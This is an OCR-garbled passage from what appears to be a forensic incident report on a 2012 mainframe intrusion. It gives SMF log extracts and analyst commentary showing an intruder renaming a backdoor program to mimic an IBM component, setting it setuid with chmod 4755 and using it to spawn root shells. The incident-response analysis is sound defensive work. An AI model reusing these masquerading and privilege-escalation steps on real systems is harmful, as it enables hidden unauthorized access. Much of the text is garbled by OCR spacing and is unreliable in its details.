UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . tx t : 5Mar 1 2  

a . env 

1 5 : 0 0 : 3 6 BSN0 0 5 8  

1 5 : 0 0 : 3 8 BSN0 0 5 8  

1 5 : 0 0 : 3 9  BSN0 0 5 8  

1 5 : 0 0 : 4 1 BSN0 0 5 8  

1 5 : 1 1 : 3 4 BSN0 0 5 8  

1 5 : 1 1 : 4 2 BSN0 0 5 8  

1 5 : 1 1 : 4 3 B S N 0 0 5 8  

1 5 : 1 1 : 4 6  B S N 0 0 5 8  

1 5 : 1 1 : 4 8 BSN0 0 5 8  

1 5 : 1 7 : 1 1 B S N 0 0 5 8  

1 5 : 1 7 : 1 6 B S N 0 0 5 8  

1 5 : 3 7 : 1 5 BSN0 0 5 8  

1 5 : 4 0 : 5 1 B S N 0 0 5 8  

1 5 : 4 1 : 1 8 B S N 0 0 5 8  

1 5 : 4 8 : 2 1 B S N 0 0 5 8  

1 5 : 4 8 : 2 2 B S N 0 0 5 8  

1 5 : 5 2 : 2 3  BSN0 0 5 8  

1 5 : 5 2 : 2 5  B S N 0 0 5 8  

1 5 : 5 9 : 2 8 B S N 0 0 5 8  

1 5 : 5 9 : 2 9  B S N 0 0 5 8  

1 6 : 0 3 : 3 0 B S N 0 0 5 8  

TCPF T P 8  

TCPF T P 6  

T C PF T P 7  

TCPFT P 8  

T C PF T P 7  

TCPF T P 8  

TCPFTP 9 

T C PF T P 9 

TCPFTP 1 

T C P F T P 7  

T C PF T P 8  

T C PF T P 3  

T C P F T P 2  

TCPFT P 4  

T C P F T P 3  

T C P F T P 4  

TCPFT P 5  

T C PF T P 4  

TCPFTP 5 

T C P F T P 6 

T C PF T P 7  

Sidan 1 1 3  a v  574 

Report 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 
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UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

1 6 : 0 3 : 3 2 BSN0 0 5 8  

1 6 : 1 0 : 3 5 BSN0 0 5 8  

1 6 : 1 0 : 3 8 BSN0 0 5 8  

1 6 : 1 4 : 3 8 BSN0 0 5 8  

1 6 : 1 4 : 3 9 BSN0 0 5 8  

1 6 : 2 0 : 5 3 BSN0 0 5 8  

1 6 : 2 1 : 4 2 BSN0 0 5 8  

1 6 : 2 1 : 4 4 BSN0 0 5 8  

1 6 : 2 5 : 4 3 B S N 0 0 5 8  

1 6 : 2 5 : 4 5 B S N 0 0 5 8  

1 6 : 2 9 : 3 7 B S N 0 0 5 8  

1 6 : 3 2 : 4 8  B S N 0 0 5 8  

1 6 : 3 2 : 5 1 BSN0 0 5 8  

1 6 : 3 6 : 5 0 BSN0 0 5 8  

1 6 : 3 6 : 5 2 B S N 0 0 5 8  

1 6 : 3 8 : 1 9 B S N 0 0 5 8  

1 6 : 4 2 : 2 0  BSN0 0 5 8  

T C P FT P 6  

T C P F T P 7  

T C P F T P 8  

T C P F T P 9 

T C P F T P 8 

T C P F T P 3  

T C P F T P 1  

T C P F T P 1 

T C P F T P 1  

T C P F T P 2  

T C P FT P 9  

T C P F T P 2  

T C P F T P 3  

T C P F T P 3  

T C P F T P 4  

T C P F T P 1  

T C P F T P 2  

Sidan 1 1 4 av  574 

Report 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

Figure 42 S M F  type 30 log extracts showing the execution of the program "a .env" 

After perform i ng severa l  "ps" process l i st i ngs that s how what p rogra m have been sta rted on 

the com puter, the perpetatar a l so  make a copy of  a .env and re  name  it to a more d i screte 

name  that wi l l  not sta nd  out if a system staff or a nyone wou l d  l i st ru n n i ng p rogra ms in the 

system .  
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cp / tmp / a . env / tmp / C S QXD I S P  

c d  / tmp 

chrnod 4 7 5 5  C S Q * 

e x t a t t r r  +ap - s C S Q * 

Sidan 1 1 5 av 574 

Report 

FOMF 0 3 0 1 I  U s a g e : e x t a t t r  [ + a l p s  l [ - a l p s  l [ - F NA l B I N  l NL l CR l LF l CRLF l LFCR l CRNL l RE C l f i l  e 

l s  - l C S Q * 

- rw s r - x r - x l S U PERU S R  D 3 8 4  9 8 3 0 4  Mar 5 1 4 : 4 3 C S QXD I S P  

Figure 4 3  Renaming of a .env t o  CSQXDISP 

The fo l lowing  ca n be i nte rpreted from the log extract a bove : 

• Copyi ng of the fi l e  a .env to a new fi l e ca l i ed CSQXDISP, wh ich  i s  the same name as a n  

exist ing I BM ma i nfra me com ponent  
• U s i ng the "ch mod" command  to set the p rogra m as  executa b le  as  we i l  as  "setu id",  

wh ich m a ke the p rogra m oba i n  the a uthor izat ion  of the fi l e owner  when the progra m 

i s  executed .  I n  th i s  case the fi l e  "CSQXDISP" run as  the  user SU PERUSER  
• The perpetratar try unsuccessfu l ly to use the "extattrr" com mand  to g ive the p rogra m 

fi l e "extended attr i butes" what wou l d  cha nge AFP beh avio r  to give the p rogra m 

execution  a broad a uthorizati on .  Th i s  wou l d  g ive the p rogra m system privi leges to 

perform operat ions not norm a l ly a l l owed to executi ng  p rogra ms .  The perpetratar does 

not succeed this t ime, nor in a ny of the ma ny t i mes we see l ate r in the l og .  l t  s hou l d  

not  be  exc l uded tha t  the  perpetratar at same l ater po i nt i n  ti me were successfu l with 

sett ing these attr i butes on  this or  other fi les .  
• The perpetratar perform a " Is -1" to l i st fi l e  a nd  fi l e  metadata, thus  showing fi l e  owner  

s h i p, s i ze, creat ion date, fi l e  permiss ion  i nc lud ing  the setu i d  f lag .  

We be l i eve that th is p rogra m CSQXD ISP  was successfu l l y  sta rted and  run ned by the user .  The 

fo l l ow ing i s  an extract from the process l i sti ng ca n show th i s :  

e cho $ $  

1 6 7 8 0 2 1 0  

e cho $ PP I D  

1 6 7 8 0 2 9 8 

p s  - e f l grep 0 2 9 8  

S U PERUSR 8 3 8 8 8 4 4 6  l - 1 4 : 4 7 : 0 7 ? 0 : 0 0 C S QXD I S P  

Figure 44 Log extract showing the perpetrater examing " parent process id" 
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The perpetratar I i sted "h is" execution  p rocess i d  { 1 6 7 8 0 2 1 0 ) and  that of the parent process, 

$PP ID, the p rocess that sta rted h i s  com mand  i nte rpreter { a . k . a  she l l  in U n ix/USS) . 

p s  - e f l grep 0 2 9 8  

S U PERUSR 1 6 7 8 0 2 1 0  

S U PERUSR 1 67 8 0 2 9 8  

1 6 7 8 0 2 9 8  - 1 5 : 3 1 : 3 7 ? 

8 3 8 8 8 4 4 6  - 1 5 : 3 1 : 3 6 ? 

0 : 0 0 s h  

0 : 0 0 C S QXD I S P  

Figure 45 log extract showing the perpetratar searching for process IDs that conta in 

pa rts of the " pa rent process ID nu m ber" 

I n  the two extra cts above, the perpetratar ma nage to l ocate h i s  p rocess I D, for the "she l l" { sh )  

p rogra m he  i s  ru n n i ng, wh ich  i s  P ID  16780210. He  a l so ma nage to  extract the parent p rocess 

id, so one cou l d  trace back wh i ch p rocess sta rted h i s  s he l l ,  a p rogra m with p rocess id 

16780298. That p rogra m i s  CSQXDISP .  

Thus we can n o w  dra w the conclusion that the old program "a.env" earlier runned as 

BPXDFLTU, now renamed to "CSQXDISP" and runned as SUPSERUSR is the program that 

spawn she/l (sh) command interpreters when the perpetrotor connects via the "aptcli" 

command from his own computer. This is a central piece of information regarding how (one 

of) the perpetrator(s) is gaining access to the computer at the later stages of the incident. 

Another h i nt that the system i s  r unn i ng  non-sta nda rd vers ions ov the CSQXD ISP  is th i s  extract 

from the p rocess l i sti ng {ps ) : 

8 3 8 8 8 4 4 6  ? O :  0 0  . / C S QX D I S P  

1 6 7 8 0 2 9 8  ? 0 : 0 0 . / C S QXD I S P  

Figure 46 listing of running processes showing CSQDISP started "manua l ly" 

The existence of ./ i n -front of the com m a nd i m p ly  that th i s  progra m was sta rted at the cu rrent 

d i rectory. Al l  other  vers ions  of CSQXD ISP, wh ich norma l  ly exist s i nce the I P L, i s  not sta rted th i s  

way. 

The fo l l owi ng l og extract from the S M F  type 30 l ogs {com mand  execut ion logs) from SY19 

show that on Ma rch sth 2012 the user BSN0058 sta rt CSQXD ISP  as  we i l  as ru n n i ng a n u m ber  of 

un ix/USS com mands. 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 5 : 4 7 : 0 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 5 : 4 7 : 0 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 5 : 5 8 : 1 5 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 5 : 5 8 : 1 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 0 9 : 2 1 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  
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UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 6 : 0 9 : 2 2 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QXD I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 6 : 2 0 : 2 8 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 2 0 : 2 9  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 6 : 3 1 : 3 6 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 6 : 3 1 : 3 7 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 3 1 : 4 2 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 i d  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 6 : 3 1 : 4 8 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 3 1 : 5 8  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 3 1 : 5 8 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 3 2 : 0 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 6 : 3 2 : 0 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 6 : 3 2 : 0 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 6 : 3 6 : 3 1 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 3 7 : 2 2 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 3 7 : 2 2 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 6 : 4 2 : 4 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 4 2 : 4 4 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QX D I S P  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 4 8 : 1 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
C S QXDI S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 2 : 4 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 who 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 2 : 5 0  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 p s  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 3 : 3 1  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 3 : 3 2 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 3 : 3 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 3 : 3 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 3 : 4 6 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 6 : 5 3 : 4 6  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 4 : 5 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 4 : 5 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  
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UNXCMD . S Y1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 5 : 1 0 BSN0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 5 : 1 0 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 5 : 2 8 BSN0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 5 : 2 8 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 5 : 3 8 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 5 : 3 8 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 5 : 4 8 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 5 : 4 8 BSN0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 5 : 5 1 BSN0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 5 : 5 1 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 1 1 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 1 1 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 1 3 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 1 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 6 : 1 7 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 1 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 6 : 3 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 6 : 5 6 : 3 3 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 6 : 5 7 : 0 1 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 6 : 5 7 : 0 1 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 6 : 5 7 : 1 0 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 6 : 5 7 : 1 0 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 0 0 : 3 9 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 0 : 3 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 0 : 5 2 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 0 : 5 2 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 1 : 0 5 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 1 : 0 5 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 0 1 : 2 4  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 0 1 : 2 4  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 1 : 3 3 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 1 : 3 3 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  
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UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 1 : 3 8 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 1 : 3 8 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 2 : 1 5 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 2 : 1 5 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 2 : 2 0  B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 2 : 2 0 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 3 : 0 1 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 3 : 0 1 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 3 : 3 3 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 3 : 3 3 BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 3 : 5 7 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 3 : 5 7 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 0 4 : 2 7  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 4 : 2 7  B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 4 : 5 9  B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt :  5Mar 1 2  1 7 : 0 4 : 5 9 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 0 4 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

